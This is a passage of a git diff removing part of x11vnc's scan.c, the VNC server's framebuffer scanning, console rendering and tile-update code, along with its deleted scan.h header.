- int b = console_cmap[3*i+2];
- r = rx * r / 255;
- g = gx * g / 255;
- b = bx * b / 255;
- color_tab[i] = (r << rs) | (g << gs) | (b << bs);
- if (db) fprintf(stderr, "cmap[%02d] 0x%08x %04d %04d %04d\n", i, color_tab[i], r, g, b);
- if (i != 0 && getenv("RAWFB_VCSA_BW")) {
- color_tab[i] = rm | gm | bm;
- }
- }
- }
- first = 0;
-
- lseek(raw_fb_fd, 0, SEEK_SET);
- len = 4;
- del = 0;
- memset(buf, 0, sizeof(buf));
- while (len > 0) {
- n = read(raw_fb_fd, buf + del, len);
- if (n > 0) {
- del += n;
- len -= n;
- } else if (n == 0) {
- break;
- } else if (errno != EINTR && errno != EAGAIN) {
- break;
- }
- }
-
- rows = (unsigned char) buf[0];
- cols = (unsigned char) buf[1];
- xpos = (unsigned char) buf[2];
- ypos = (unsigned char) buf[3];
-
- if (db) fprintf(stderr, "rows=%d cols=%d xpos=%d ypos=%d Bpp=%d\n", rows, cols, xpos, ypos, Bpp);
- if (rows == 0 || cols == 0) {
- usleep(100 * 1000);
- return;
- }
-
- if (vcsabuf == NULL || prev_rows != rows || prev_cols != cols) {
- if (vcsabuf) {
- free(vcsabuf);
- free(vcsabuf0);
- }
- vcsabuf = (char *) calloc(2 * rows * cols, 1);
- vcsabuf0 = (char *) calloc(2 * rows * cols, 1);
- created = 1;
-
- if (prev_rows != -1 && prev_cols != -1) {
- do_new_fb(1);
- }
-
- prev_rows = rows;
- prev_cols = cols;
- }
-
- if (!rfbEndianTest) {
- unsigned char tc = rows;
- rows = cols;
- cols = tc;
-
- tc = xpos;
- xpos = ypos;
- ypos = tc;
- }
-
- len = 2 * rows * cols;
- del = 0;
- memset(vcsabuf, 0, len);
- while (len > 0) {
- n = read(raw_fb_fd, vcsabuf + del, len);
- if (n > 0) {
- del += n;
- len -= n;
- } else if (n == 0) {
- break;
- } else if (errno != EINTR && errno != EAGAIN) {
- break;
- }
- }
-
- fake_screen->frameBuffer = snap->data;
- fake_screen->paddedWidthInBytes = snap->bytes_per_line;
- fake_screen->serverFormat.bitsPerPixel = raw_fb_native_bpp;
- fake_screen->width = snap->width;
- fake_screen->height = snap->height;
-
- for (i=0; i < rows * cols; i++) {
- int ix, iy, x, y, w, h;
- unsigned char chr = 0;
- unsigned char attr;
- unsigned int fore, back;
- unsigned short *usp;
- unsigned int *uip;
- chr = (unsigned char) vcsabuf[2*i];
- attr = vcsabuf[2*i+1];
-
- iy = i / cols;
- ix = i - iy * cols;
-
- if (ix == prev_xpos && iy == prev_ypos) {
- ;
- } else if (ix == xpos && iy == ypos) {
- ;
- } else if (!created && chr == vcsabuf0[2*i] && attr == vcsabuf0[2*i+1]) {
- continue;
- }
-
- if (!rfbEndianTest) {
- unsigned char tc = chr;
- chr = attr;
- attr = tc;
- }
-
- y = iy * Ch;
- x = ix * Cw;
- dst = snap->data + y * snap->bytes_per_line + x * Bpp;
-
- fore = color_tab[attr & 0xf];
- back = color_tab[(attr >> 4) & 0x7];
-
- if (ix == xpos && iy == ypos) {
- unsigned int ti = fore;
- fore = back;
- back = ti;
- }
-
- for (h = 0; h < Ch; h++) {
- if (Bpp == 1) {
- memset(dst, back, Cw);
- } else if (Bpp == 2) {
- for (w = 0; w < Cw; w++) {
- usp = (unsigned short *) (dst + w*Bpp);
- *usp = (unsigned short) back;
- }
- } else if (Bpp == 4) {
- for (w = 0; w < Cw; w++) {
- uip = (unsigned int *) (dst + w*Bpp);
- *uip = (unsigned int) back;
- }
- }
- dst += snap->bytes_per_line;
- }
- rfbDrawChar(fake_screen, &default8x16Font, x, y + Ch, chr, fore);
- }
- memcpy(vcsabuf0, vcsabuf, 2 * rows * cols);
- prev_xpos = xpos;
- prev_ypos = ypos;
-}
-
-static void snap_all_rawfb(void) {
- int pixelsize = bpp/8;
- int n, sz;
- char *dst;
- static char *unclipped_dst = NULL;
- static int unclipped_len = 0;
-
- dst = snap->data;
-
- if (xform24to32 && bpp == 32) {
- pixelsize = 3;
- }
- sz = dpy_y * snap->bytes_per_line;
-
- if (wdpy_x > dpy_x || wdpy_y > dpy_y) {
- sz = wdpy_x * wdpy_y * pixelsize;
- if (sz > unclipped_len || unclipped_dst == NULL) {
- if (unclipped_dst) {
- free(unclipped_dst);
- }
- unclipped_dst = (char *) malloc(sz+4);
- unclipped_len = sz;
- }
- dst = unclipped_dst;
- }
-
- if (! raw_fb_seek) {
- memcpy(dst, raw_fb_addr + raw_fb_offset, sz);
-
- } else {
- int len = sz, del = 0;
- off_t off = (off_t) raw_fb_offset;
-
- lseek(raw_fb_fd, off, SEEK_SET);
- while (len > 0) {
- n = read(raw_fb_fd, dst + del, len);
- if (n > 0) {
- del += n;
- len -= n;
- } else if (n == 0) {
- break;
- } else if (errno != EINTR && errno != EAGAIN) {
- break;
- }
- }
- }
-
- if (dst == unclipped_dst) {
- char *src;
- int h;
- int x = off_x + coff_x;
- int y = off_y + coff_y;
-
- src = unclipped_dst + y * wdpy_x * pixelsize +
- x * pixelsize;
- dst = snap->data;
-
- for (h = 0; h < dpy_y; h++) {
- memcpy(dst, src, dpy_x * pixelsize);
- src += wdpy_x * pixelsize;
- dst += snap->bytes_per_line;
- }
- }
-}
-
-int copy_snap(void) {
- int db = 1;
- char *fbp;
- int i, y, block_size;
- double dt;
- static int first = 1, snapcnt = 0;
-
- if (raw_fb_str) {
- int read_all_at_once = 1;
- double start = dnow();
- if (rawfb_reset < 0) {
- if (getenv("SNAPFB_RAWFB_RESET")) {
- rawfb_reset = 1;
- } else {
- rawfb_reset = 0;
- }
- }
- if (snap_fb == NULL || snap == NULL) {
- rfbLog("copy_snap: rawfb mode and null snap fb\n");
- clean_up_exit(1);
- }
- if (rawfb_reset) {
- initialize_raw_fb(1);
- }
- if (raw_fb_bytes_per_line != snap->bytes_per_line) {
- read_all_at_once = 0;
- }
- if (raw_fb_full_str && strstr(raw_fb_full_str, "/dev/vcsa")) {
- snap_vcsa_rawfb();
- } else if (read_all_at_once) {
- snap_all_rawfb();
- } else {
- /* this goes line by line, XXX not working for video */
- copy_raw_fb(snap, 0, 0, dpy_x, dpy_y);
- }
-if (db && snapcnt++ < 5) rfbLog("rawfb copy_snap took: %.5f secs\n", dnow() - start);
-
- return 0;
- }
-
- if (! fs_factor) {
- return 0;
- }
-
-
- if (! snap_fb || ! snap || ! snaprect) {
- return 0;
- }
- block_size = ((dpy_y/fs_factor) * snap->bytes_per_line);
-
- fbp = snap_fb;
- y = 0;
-
-
- dtime0(&dt);
- X_LOCK;
-
- /* screen may be too big for 1 shm area, so broken into fs_factor */
- for (i=0; i < fs_factor; i++) {
- XRANDR_SET_TRAP_RET(-1, "copy_snap-set");
- copy_image(snaprect, 0, y, 0, 0);
- XRANDR_CHK_TRAP_RET(-1, "copy_snap-chk");
-
- memcpy(fbp, snaprect->data, (size_t) block_size);
-
- y += dpy_y / fs_factor;
- fbp += block_size;
- }
-
- X_UNLOCK;
-
- dt = dtime(&dt);
- if (first) {
- rfbLog("copy_snap: time for -snapfb snapshot: %.3f sec\n", dt);
- first = 0;
- }
-
- return 0;
-}
-
-
-/*
- * debugging: print out a picture of the tiles.
- */
-static void print_tiles(void) {
- /* hack for viewing tile diffs on the screen. */
- static char *prev = NULL;
- int n, x, y, ms = 1500;
-
- ms = 1;
-
- if (! prev) {
- prev = (char *) malloc((size_t) ntiles);
- for (n=0; n < ntiles; n++) {
- prev[n] = 0;
- }
- }
- fprintf(stderr, " ");
- for (x=0; x < ntiles_x; x++) {
- fprintf(stderr, "%1d", x % 10);
- }
- fprintf(stderr, "\n");
- n = 0;
- for (y=0; y < ntiles_y; y++) {
- fprintf(stderr, "%2d ", y);
- for (x=0; x < ntiles_x; x++) {
- if (tile_has_diff[n]) {
- fprintf(stderr, "X");
- } else if (prev[n]) {
- fprintf(stderr, "o");
- } else {
- fprintf(stderr, ".");
- }
- n++;
- }
- fprintf(stderr, "\n");
- }
- for (n=0; n < ntiles; n++) {
- prev[n] = tile_has_diff[n];
- }
- usleep(ms * 1000);
-}
-
-/*
- * Utilities for managing the "naps" to cut down on amount of polling.
- */
-static void nap_set(int tile_cnt) {
- int nap_in = nap_ok;
- time_t now = time(NULL);
-
- if (scan_count == 0) {
- /* roll up check for all NSCAN scans */
- nap_ok = 0;
- if (naptile && nap_diff_count < 2 * NSCAN * naptile) {
- /* "2" is a fudge to permit a bit of bg drawing */
- nap_ok = 1;
- }
- nap_diff_count = 0;
- }
- if (nap_ok && ! nap_in && use_xdamage) {
- if (XD_skip > 0.8 * XD_tot) {
- /* X DAMAGE is keeping load low, so skip nap */
- nap_ok = 0;
- }
- }
- if (! nap_ok && client_count) {
- if(now > last_fb_bytes_sent + no_fbu_blank) {
- if (debug_tiles > 1) {
- fprintf(stderr, "nap_set: nap_ok=1: now: %d last: %d\n",
- (int) now, (int) last_fb_bytes_sent);
- }
- nap_ok = 1;
- }
- }
-
- if (show_cursor) {
- /* kludge for the up to 4 tiles the mouse patch could occupy */
- if ( tile_cnt > 4) {
- last_event = now;
- }
- } else if (tile_cnt != 0) {
- last_event = now;
- }
-}
-
-/*
- * split up a long nap to improve the wakeup time
- */
-void nap_sleep(int ms, int split) {
- int i, input = got_user_input;
- int gd = got_local_pointer_input;
-
- for (i=0; i<split; i++) {
- usleep(ms * 1000 / split);
- if (! use_threads && i != split - 1) {
- rfbPE(-1);
- }
- if (input != got_user_input) {
- break;
- }
- if (gd != got_local_pointer_input) {
- break;
- }
- }
-}
-
-static char *get_load(void) {
- static char tmp[64];
- static int count = 0;
-
- if (count++ % 5 == 0) {
- struct stat sb;
- memset(tmp, 0, sizeof(tmp));
- if (stat("/proc/loadavg", &sb) == 0) {
- int d = open("/proc/loadavg", O_RDONLY);
- if (d >= 0) {
- read(d, tmp, 60);
- close(d);
- }
- }
- if (tmp[0] == '\0') {
- strcat(tmp, "unknown");
- }
- }
- return tmp;
-}
-
-/*
- * see if we should take a nap of some sort between polls
- */
-static void nap_check(int tile_cnt) {
- time_t now;
-
- nap_diff_count += tile_cnt;
-
- if (! take_naps) {
- return;
- }
-
- now = time(NULL);
-
- if (screen_blank > 0) {
- int dt_ev, dt_fbu;
- static int ms = 0;
- if (ms == 0) {
- ms = 2000;
- if (getenv("X11VNC_SB_FACTOR")) {
- ms = ms * atof(getenv("X11VNC_SB_FACTOR"));
- }
- if (ms <= 0) {
- ms = 2000;
- }
- }
-
- /* if no activity, pause here for a second or so. */
- dt_ev = (int) (now - last_event);
- dt_fbu = (int) (now - last_fb_bytes_sent);
- if (dt_fbu > screen_blank) {
- /* sleep longer for no fb requests */
- if (debug_tiles > 1) {
- fprintf(stderr, "screen blank sleep1: %d ms / 16, load: %s\n", 2 * ms, get_load());
- }
- nap_sleep(2 * ms, 16);
- return;
- }
- if (dt_ev > screen_blank) {
- if (debug_tiles > 1) {
- fprintf(stderr, "screen blank sleep2: %d ms / 8, load: %s\n", ms, get_load());
- }
- nap_sleep(ms, 8);
- return;
- }
- }
- if (naptile && nap_ok && tile_cnt < naptile) {
- int ms = napfac * waitms;
- ms = ms > napmax ? napmax : ms;
- if (now - last_input <= 3) {
- nap_ok = 0;
- } else if (now - last_local_input <= 3) {
- nap_ok = 0;
- } else {
- if (debug_tiles > 1) {
- fprintf(stderr, "nap_check sleep: %d ms / 1, load: %s\n", ms, get_load());
- }
- nap_sleep(ms, 1);
- }
- }
-}
-
-/*
- * This is called to avoid a ~20 second timeout in libvncserver.
- * May no longer be needed.
- */
-static void ping_clients(int tile_cnt) {
- static time_t last_send = 0;
- time_t now = time(NULL);
-
- if (rfbMaxClientWait < 20000) {
- rfbMaxClientWait = 20000;
- rfbLog("reset rfbMaxClientWait to %d msec.\n",
- rfbMaxClientWait);
- }
- if (tile_cnt > 0) {
- last_send = now;
- } else if (tile_cnt < 0) {
- /* negative tile_cnt is -ping case */
- if (now >= last_send - tile_cnt) {
- mark_rect_as_modified(0, 0, 1, 1, 1);
- last_send = now;
- }
- } else if (now - last_send > 5) {
- /* Send small heartbeat to client */
- mark_rect_as_modified(0, 0, 1, 1, 1);
- last_send = now;
- }
-}
-
-/*
- * scan_display() wants to know if this tile can be skipped due to
- * blackout regions: (no data compare is done, just a quick geometric test)
- */
-static int blackout_line_skip(int n, int x, int y, int rescan,
- int *tile_count) {
-
- if (tile_blackout[n].cover == 2) {
- tile_has_diff[n] = 0;
- return 1; /* skip it */
-
- } else if (tile_blackout[n].cover == 1) {
- int w, x1, y1, x2, y2, b, hit = 0;
- if (x + NSCAN > dpy_x) {
- w = dpy_x - x;
- } else {
- w = NSCAN;
- }
-
- for (b=0; b < tile_blackout[n].count; b++) {
-
- /* n.b. these coords are in full display space: */
- x1 = tile_blackout[n].bo[b].x1;
- x2 = tile_blackout[n].bo[b].x2;
- y1 = tile_blackout[n].bo[b].y1;
- y2 = tile_blackout[n].bo[b].y2;
-
- if (x2 - x1 < w) {
- /* need to cover full width */
- continue;
- }
- if (y1 <= y && y < y2) {
- hit = 1;
- break;
- }
- }
- if (hit) {
- if (! rescan) {
- tile_has_diff[n] = 0;
- } else {
- *tile_count += tile_has_diff[n];
- }
- return 1; /* skip */
- }
- }
- return 0; /* do not skip */
-}
-
-static int blackout_line_cmpskip(int n, int x, int y, char *dst, char *src,
- int w, int pixelsize) {
-
- int i, x1, y1, x2, y2, b, hit = 0;
- int beg = -1, end = -1;
-
- if (tile_blackout[n].cover == 0) {
- return 0; /* 0 means do not skip it. */
- } else if (tile_blackout[n].cover == 2) {
- return 1; /* 1 means skip it. */
- }
-
- /* tile has partial coverage: */
-
- for (i=0; i < w * pixelsize; i++) {
- if (*(dst+i) != *(src+i)) {
- beg = i/pixelsize; /* beginning difference */
- break;
- }
- }
- for (i = w * pixelsize - 1; i >= 0; i--) {
- if (*(dst+i) != *(src+i)) {
- end = i/pixelsize; /* ending difference */
- break;
- }
- }
- if (beg < 0 || end < 0) {
- /* problem finding range... */
- return 0;
- }
-
- /* loop over blackout rectangles: */
- for (b=0; b < tile_blackout[n].count; b++) {
-
- /* y in full display space: */
- y1 = tile_blackout[n].bo[b].y1;
- y2 = tile_blackout[n].bo[b].y2;
-
- /* x relative to tile origin: */
- x1 = tile_blackout[n].bo[b].x1 - x;
- x2 = tile_blackout[n].bo[b].x2 - x;
-
- if (y1 > y || y >= y2) {
- continue;
- }
- if (x1 <= beg && end <= x2) {
- hit = 1;
- break;
- }
- }
- if (hit) {
- return 1;
- } else {
- return 0;
- }
-}
-
-/*
- * For the subwin case follows the window if it is moved.
- */
-void set_offset(void) {
- Window w;
- if (! subwin) {
- return;
- }
- X_LOCK;
- xtranslate(window, rootwin, 0, 0, &off_x, &off_y, &w, 0);
- X_UNLOCK;
-}
-
-static int xd_samples = 0, xd_misses = 0, xd_do_check = 0;
-
-/*
- * Loop over 1-pixel tall horizontal scanlines looking for changes.
- * Record the changes in tile_has_diff[]. Scanlines in the loop are
- * equally spaced along y by NSCAN pixels, but have a slightly random
- * starting offset ystart ( < NSCAN ) from scanlines[].
- */
-
-static int scan_display(int ystart, int rescan) {
- char *src, *dst;
- int pixelsize = bpp/8;
- int x, y, w, n;
- int tile_count = 0;
- int nodiffs = 0, diff_hint;
- int xd_check = 0, xd_freq = 1;
- static int xd_tck = 0;
-
- y = ystart;
-
- g_now = dnow();
-
- if (! main_fb) {
- rfbLog("scan_display: no main_fb!\n");
- return 0;
- }
-
- X_LOCK;
-
- while (y < dpy_y) {
-
- if (use_xdamage) {
- XD_tot++;
- xd_check = 0;
- if (xdamage_hint_skip(y)) {
- if (xd_do_check && dpy && use_xdamage == 1) {
- xd_tck++;
- xd_tck = xd_tck % xd_freq;
- if (xd_tck == 0) {
- xd_check = 1;
- xd_samples++;
- }
- }
- if (!xd_check) {
- XD_skip++;
- y += NSCAN;
- continue;
- }
- } else {
- if (xd_do_check && 0) {
- fprintf(stderr, "ns y=%d\n", y);
- }
- }
- }
-
- /* grab the horizontal scanline from the display: */
-
-#ifndef NO_NCACHE
-/* XXX Y test */
-if (ncache > 0) {
- int gotone = 0;
- if (macosx_console) {
- if (macosx_checkevent(NULL)) {
- gotone = 1;
- }
- } else {
-#if !NO_X11
- XEvent ev;
- if (raw_fb_str) {
- ;
- } else if (XEventsQueued(dpy, QueuedAlready) == 0) {
- ; /* XXX Y resp */
- } else if (XCheckTypedEvent(dpy, MapNotify, &ev)) {
- gotone = 1;
- } else if (XCheckTypedEvent(dpy, UnmapNotify, &ev)) {
- gotone = 2;
- } else if (XCheckTypedEvent(dpy, CreateNotify, &ev)) {
- gotone = 3;
- } else if (XCheckTypedEvent(dpy, ConfigureNotify, &ev)) {
- gotone = 4;
- } else if (XCheckTypedEvent(dpy, VisibilityNotify, &ev)) {
- gotone = 5;
- }
- if (gotone) {
- XPutBackEvent(dpy, &ev);
- }
-#endif
- }
- if (gotone) {
- static int nomsg = 1;
- if (nomsg) {
- if (dnowx() > 20) {
- nomsg = 0;
- }
- } else {
-if (ncdb) fprintf(stderr, "\n*** SCAN_DISPLAY CHECK_NCACHE/%d *** %d rescan=%d\n", gotone, y, rescan);
- }
- X_UNLOCK;
- check_ncache(0, 1);
- X_LOCK;
- }
-}
-#endif
-
- XRANDR_SET_TRAP_RET(-1, "scan_display-set");
- copy_image(scanline, 0, y, 0, 0);
- XRANDR_CHK_TRAP_RET(-1, "scan_display-chk");
-
- /* for better memory i/o try the whole line at once */
- src = scanline->data;
- dst = main_fb + y * main_bytes_per_line;
-
- if (! memcmp(dst, src, main_bytes_per_line)) {
- /* no changes anywhere in scan line */
- nodiffs = 1;
- if (! rescan) {
- y += NSCAN;
- continue;
- }
- }
- if (xd_check) {
- xd_misses++;
- }
-
- x = 0;
- while (x < dpy_x) {
- n = (x/tile_x) + (y/tile_y) * ntiles_x;
- diff_hint = 0;
-
- if (blackouts) {
- if (blackout_line_skip(n, x, y, rescan,
- &tile_count)) {
- x += NSCAN;
- continue;
- }
- }
-
- if (rescan) {
- if (nodiffs || tile_has_diff[n]) {
- tile_count += tile_has_diff[n];
- x += NSCAN;
- continue;
- }
- } else if (xdamage_tile_count &&
- tile_has_xdamage_diff[n]) {
- tile_has_xdamage_diff[n] = 2;
- diff_hint = 1;
- }
-
- /* set ptrs to correspond to the x offset: */
- src = scanline->data + x * pixelsize;
- dst = main_fb + y * main_bytes_per_line + x * pixelsize;
-
- /* compute the width of data to be compared: */
- if (x + NSCAN > dpy_x) {
- w = dpy_x - x;
- } else {
- w = NSCAN;
- }
-
- if (diff_hint || memcmp(dst, src, w * pixelsize)) {
- /* found a difference, record it: */
- if (! blackouts) {
- tile_has_diff[n] = 1;
- tile_count++;
- } else {
- if (blackout_line_cmpskip(n, x, y,
- dst, src, w, pixelsize)) {
- tile_has_diff[n] = 0;
- } else {
- tile_has_diff[n] = 1;
- tile_count++;
- }
- }
- }
- x += NSCAN;
- }
- y += NSCAN;
- }
-
- X_UNLOCK;
-
- return tile_count;
-}
-
-
-int scanlines[NSCAN] = {
- 0, 16, 8, 24, 4, 20, 12, 28,
- 10, 26, 18, 2, 22, 6, 30, 14,
- 1, 17, 9, 25, 7, 23, 15, 31,
- 19, 3, 27, 11, 29, 13, 5, 21
-};
-
-/*
- * toplevel for the scanning, rescanning, and applying the heuristics.
- * returns number of changed tiles.
- */
-int scan_for_updates(int count_only) {
- int i, tile_count, tile_diffs;
- int old_copy_tile;
- double frac1 = 0.1; /* tweak parameter to try a 2nd scan_display() */
- double frac2 = 0.35; /* or 3rd */
- double frac3 = 0.02; /* do scan_display() again after copy_tiles() */
- static double last_poll = 0.0;
- double dtmp = 0.0;
-
- if (unixpw_in_progress) return 0;
-
- if (slow_fb > 0.0) {
- double now = dnow();
- if (now < last_poll + slow_fb) {
- return 0;
- }
- last_poll = now;
- }
-
- for (i=0; i < ntiles; i++) {
- tile_has_diff[i] = 0;
- tile_has_xdamage_diff[i] = 0;
- tile_tried[i] = 0;
- tile_copied[i] = 0;
- }
- for (i=0; i < ntiles_y; i++) {
- /* could be useful, currently not used */
- tile_row_has_xdamage_diff[i] = 0;
- }
- xdamage_tile_count = 0;
-
- /*
- * n.b. this program has only been tested so far with
- * tile_x = tile_y = NSCAN = 32!
- */
-
- if (!count_only) {
- scan_count++;
- scan_count %= NSCAN;
-
- /* some periodic maintenance */
- if (subwin && scan_count % 4 == 0) {
- set_offset(); /* follow the subwindow */
- }
- if (indexed_color && scan_count % 4 == 0) {
- /* check for changed colormap */
- set_colormap(0);
- }
- if (cmap8to24 && scan_count % 1 == 0) {
- check_for_multivis();
- }
-#ifdef MACOSX
- if (macosx_console) {
- macosx_event_loop();
- }
-#endif
- if (use_xdamage) {
- /* first pass collecting DAMAGE events: */
-#ifdef MACOSX
- if (macosx_console) {
- collect_non_X_xdamage(-1, -1, -1, -1, 0);
- } else
-#endif
- {
- if (rawfb_vnc_reflect) {
- collect_non_X_xdamage(-1, -1, -1, -1, 0);
- } else {
- collect_xdamage(scan_count, 0);
- }
- }
- }
- }
-
-#define SCAN_FATAL(x) \
- if (x < 0) { \
- scan_in_progress = 0; \
- fb_copy_in_progress = 0; \
- return 0; \
- }
-
- /* scan with the initial y to the jitter value from scanlines: */
- scan_in_progress = 1;
- tile_count = scan_display(scanlines[scan_count], 0);
- SCAN_FATAL(tile_count);
-
- /*
- * we do the XDAMAGE here too since after scan_display()
- * there is a better chance we have received the events from
- * the X server (otherwise the DAMAGE events will be processed
- * in the *next* call, usually too late and wasteful since
- * the unchanged tiles are read in again).
- */
- if (use_xdamage) {
-#ifdef MACOSX
- if (macosx_console) {
- ;
- } else
-#endif
- {
- if (rawfb_vnc_reflect) {
- ;
- } else {
- collect_xdamage(scan_count, 1);
- }
- }
- }
- if (count_only) {
- scan_in_progress = 0;
- fb_copy_in_progress = 0;
- return tile_count;
- }
-
- if (xdamage_tile_count) {
- /* pick up "known" damaged tiles we missed in scan_display() */
- for (i=0; i < ntiles; i++) {
- if (tile_has_diff[i]) {
- continue;
- }
- if (tile_has_xdamage_diff[i]) {
- tile_has_diff[i] = 1;
- if (tile_has_xdamage_diff[i] == 1) {
- tile_has_xdamage_diff[i] = 2;
- tile_count++;
- }
- }
- }
- }
- if (dpy && use_xdamage == 1) {
- static time_t last_xd_check = 0;
- if (time(NULL) > last_xd_check + 2) {
- int cp = (scan_count + 3) % NSCAN;
- xd_do_check = 1;
- tile_count = scan_display(scanlines[cp], 0);
- xd_do_check = 0;
- SCAN_FATAL(tile_count);
- last_xd_check = time(NULL);
- if (xd_samples > 200) {
- static int bad = 0;
- if (xd_misses > (20 * xd_samples) / 100) {
- rfbLog("XDAMAGE is not working well... misses: %d/%d\n", xd_misses, xd_samples);
- rfbLog("Maybe an OpenGL app like Beryl or Compiz is the problem?\n");
- rfbLog("Use x11vnc -noxdamage or disable the Beryl/Compiz app.\n");
- rfbLog("To disable this check and warning specify -xdamage twice.\n");
- if (++bad >= 10) {
- rfbLog("XDAMAGE appears broken (OpenGL app?), turning it off.\n");
- use_xdamage = 0;
- initialize_xdamage();
- destroy_xdamage_if_needed();
- }
- }
- xd_samples = 0;
- xd_misses = 0;
- }
- }
- }
-
- nap_set(tile_count);
-
- if (fs_factor && frac1 >= fs_frac) {
- /* make frac1 < fs_frac if fullscreen updates are enabled */
- frac1 = fs_frac/2.0;
- }
-
- if (tile_count > frac1 * ntiles) {
- /*
- * many tiles have changed, so try a rescan (since it should
- * be short compared to the many upcoming copy_tiles() calls)
- */
-
- /* this check is done to skip the extra scan_display() call */
- if (! fs_factor || tile_count <= fs_frac * ntiles) {
- int cp, tile_count_old = tile_count;
-
- /* choose a different y shift for the 2nd scan: */
- cp = (NSCAN - scan_count) % NSCAN;
-
- tile_count = scan_display(scanlines[cp], 1);
- SCAN_FATAL(tile_count);
-
- if (tile_count >= (1 + frac2) * tile_count_old) {
- /* on a roll... do a 3rd scan */
- cp = (NSCAN - scan_count + 7) % NSCAN;
- tile_count = scan_display(scanlines[cp], 1);
- SCAN_FATAL(tile_count);
- }
- }
- scan_in_progress = 0;
-
- /*
- * At some number of changed tiles it is better to just
- * copy the full screen at once. I.e. time = c1 + m * r1
- * where m is number of tiles, r1 is the copy_tiles()
- * time, and c1 is the scan_display() time: for some m
- * it crosses the full screen update time.
- *
- * We try to predict that crossover with the fs_frac
- * fudge factor... seems to be about 1/2 the total number
- * of tiles. n.b. this ignores network bandwidth,
- * compression time etc...
- *
- * Use -fs 1.0 to disable on slow links.
- */
- if (fs_factor && tile_count > fs_frac * ntiles) {
- int cs;
- fb_copy_in_progress = 1;
- cs = copy_screen();
- fb_copy_in_progress = 0;
- SCAN_FATAL(cs);
- if (use_threads && pointer_mode != 1) {
- pointer_event(-1, 0, 0, NULL);
- }
- nap_check(tile_count);
- return tile_count;
- }
- }
- scan_in_progress = 0;
-
- /* copy all tiles with differences from display to rfb framebuffer: */
- fb_copy_in_progress = 1;
-
- if (single_copytile || tile_shm_count < ntiles_x) {
- /*
- * Old way, copy I/O one tile at a time.
- */
- old_copy_tile = 1;
- } else {
- /*
- * New way, does runs of horizontal tiles at once.
- * Note that below, for simplicity, the extra tile finding
- * (e.g. copy_tiles_backward_pass) is done the old way.
- */
- old_copy_tile = 0;
- }
-
- if (unixpw_in_progress) return 0;
-
-/* XXX Y */
-if (0 && tile_count > 20) print_tiles();
-#if 0
-dtmp = dnow();
-#else
-dtmp = 0.0;
-#endif
-
- if (old_copy_tile) {
- tile_diffs = copy_all_tiles();
- } else {
- tile_diffs = copy_all_tile_runs();
- }
- SCAN_FATAL(tile_diffs);
-
-#if 0
-if (tile_count) fprintf(stderr, "XX copytile: %.4f tile_count: %d\n", dnow() - dtmp, tile_count);
-#endif
-
- /*
- * This backward pass for upward and left tiles complements what
- * was done in copy_all_tiles() for downward and right tiles.
- */
- tile_diffs = copy_tiles_backward_pass();
- SCAN_FATAL(tile_diffs);
-
- if (tile_diffs > frac3 * ntiles) {
- /*
- * we spent a lot of time in those copy_tiles, run
- * another scan, maybe more of the screen changed.
- */
- int cp = (NSCAN - scan_count + 13) % NSCAN;
-
- scan_in_progress = 1;
- tile_count = scan_display(scanlines[cp], 1);
- SCAN_FATAL(tile_count);
- scan_in_progress = 0;
-
- tile_diffs = copy_tiles_additional_pass();
- SCAN_FATAL(tile_diffs);
- }
-
- /* Given enough tile diffs, try the islands: */
- if (grow_fill && tile_diffs > 4) {
- tile_diffs = grow_islands();
- }
- SCAN_FATAL(tile_diffs);
-
- /* Given enough tile diffs, try the gaps: */
- if (gaps_fill && tile_diffs > 4) {
- tile_diffs = fill_tile_gaps();
- }
- SCAN_FATAL(tile_diffs);
-
- fb_copy_in_progress = 0;
- if (use_threads && pointer_mode != 1) {
- /*
- * tell the pointer handler it can process any queued
- * pointer events:
- */
- pointer_event(-1, 0, 0, NULL);
- }
-
- if (blackouts) {
- /* ignore any diffs in completely covered tiles */
- int x, y, n;
- for (y=0; y < ntiles_y; y++) {
- for (x=0; x < ntiles_x; x++) {
- n = x + y * ntiles_x;
- if (tile_blackout[n].cover == 2) {
- tile_has_diff[n] = 0;
- }
- }
- }
- }
-
- hint_updates(); /* use x0rfbserver hints algorithm */
-
- /* Work around threaded rfbProcessClientMessage() calls timeouts */
- if (use_threads) {
- ping_clients(tile_diffs);
- } else if (saw_ultra_chat || saw_ultra_file) {
- ping_clients(-1);
- } else if (use_openssl && !tile_diffs) {
- ping_clients(0);
- }
- /* -ping option: */
- if (ping_interval) {
- int td = ping_interval > 0 ? ping_interval : -ping_interval;
- ping_clients(-td);
- }
-
-
- nap_check(tile_diffs);
- return tile_diffs;
-}
-
-
diff --git a/x11vnc/scan.h b/x11vnc/scan.h
deleted file mode 100644
index 32cf216..0000000
--- a/x11vnc/scan.h
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_SCAN_H
-#define _X11VNC_SCAN_H
-
-/* -- scan.h -- */
-
-extern int nap_ok;
-extern int scanlines[];
-
-extern void initialize_tiles(void);
-extern void free_tiles(void);
-extern void shm_delete(XShmSegmentInfo *shm);
-extern void shm_clean(XShmSegmentInfo *shm, XImage *xim);
-extern void initialize_polling_images(void);
-extern void scale_rect(double factor_x, double factor_y, int blend, int interpolate, int Bpp,
- char *src_fb, int src_bytes_per_line, char *dst_fb, int dst_bytes_per_line,
- int Nx, int Ny, int nx, int ny, int X1, int Y1, int X2, int Y2, int mark);
-extern void scale_and_mark_rect(int X1, int Y1, int X2, int Y2, int mark);
-extern void mark_rect_as_modified(int x1, int y1, int x2, int y2, int force);
-extern int copy_screen(void);
-extern int copy_snap(void);
-extern void nap_sleep(int ms, int split);
-extern void set_offset(void);
-extern int scan_for_updates(int count_only);
